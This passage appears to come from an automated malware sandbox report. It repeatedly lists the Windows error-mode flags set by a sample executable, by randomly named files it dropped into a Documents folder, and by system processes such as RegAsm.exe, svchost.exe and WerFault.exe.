Source: C:\Users\user\Desktop\kqS23MOytx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\rFOuFGF_bpYT2mD72hQviWI6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\rFOuFGF_bpYT2mD72hQviWI6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\rFOuFGF_bpYT2mD72hQviWI6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\rFOuFGF_bpYT2mD72hQviWI6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\rFOuFGF_bpYT2mD72hQviWI6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\rFOuFGF_bpYT2mD72hQviWI6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\rFOuFGF_bpYT2mD72hQviWI6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\rFOuFGF_bpYT2mD72hQviWI6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\rFOuFGF_bpYT2mD72hQviWI6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\rFOuFGF_bpYT2mD72hQviWI6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\rFOuFGF_bpYT2mD72hQviWI6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\rFOuFGF_bpYT2mD72hQviWI6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\rFOuFGF_bpYT2mD72hQviWI6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\rFOuFGF_bpYT2mD72hQviWI6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\rFOuFGF_bpYT2mD72hQviWI6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\lDkIjEVcMx3R04EqAu4plnem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\lDkIjEVcMx3R04EqAu4plnem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\lDkIjEVcMx3R04EqAu4plnem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\lDkIjEVcMx3R04EqAu4plnem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\lDkIjEVcMx3R04EqAu4plnem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\lDkIjEVcMx3R04EqAu4plnem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\lDkIjEVcMx3R04EqAu4plnem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\lDkIjEVcMx3R04EqAu4plnem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\lDkIjEVcMx3R04EqAu4plnem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\lDkIjEVcMx3R04EqAu4plnem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\tmR_9dCV10b0GIVf60jpdpDG.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\7DyzwtKyuY4CtD_VmEPX58OX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\7DyzwtKyuY4CtD_VmEPX58OX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\7DyzwtKyuY4CtD_VmEPX58OX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\7DyzwtKyuY4CtD_VmEPX58OX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\7DyzwtKyuY4CtD_VmEPX58OX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\7DyzwtKyuY4CtD_VmEPX58OX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\7DyzwtKyuY4CtD_VmEPX58OX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\7DyzwtKyuY4CtD_VmEPX58OX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\7DyzwtKyuY4CtD_VmEPX58OX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\7DyzwtKyuY4CtD_VmEPX58OX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\0QrWpVvJO2zQ0CVHYo3FGItE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\0QrWpVvJO2zQ0CVHYo3FGItE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\0QrWpVvJO2zQ0CVHYo3FGItE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\0QrWpVvJO2zQ0CVHYo3FGItE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\0QrWpVvJO2zQ0CVHYo3FGItE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\0QrWpVvJO2zQ0CVHYo3FGItE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\0QrWpVvJO2zQ0CVHYo3FGItE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\0QrWpVvJO2zQ0CVHYo3FGItE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\0QrWpVvJO2zQ0CVHYo3FGItE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\0QrWpVvJO2zQ0CVHYo3FGItE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\0QrWpVvJO2zQ0CVHYo3FGItE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\0QrWpVvJO2zQ0CVHYo3FGItE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\0QrWpVvJO2zQ0CVHYo3FGItE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\0QrWpVvJO2zQ0CVHYo3FGItE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\piratemamm\0QrWpVvJO2zQ0CVHYo3FGItE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
